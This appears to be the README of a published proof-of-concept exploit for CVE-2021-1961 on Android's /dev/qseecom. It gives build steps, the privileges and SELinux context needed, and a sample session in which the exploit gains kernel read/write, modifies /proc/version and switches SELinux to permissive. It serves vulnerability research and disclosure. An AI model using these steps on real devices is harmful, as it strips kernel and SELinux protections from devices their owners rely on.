Exploit code for CVE-2021-1961. Full write-up is available on my blog.

In order to build the exploit, run Android NDK's ndk-build.

In order to run the exploit, you need to have access to /dev/qseecom, which means having the right user/group and the right SELinux context. This can be done either on a debug image using the command su system, or on a stock image patched with Magisk using the command su - system.

Here is an example of running the exploit on a stock image patched with Magisk:

$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive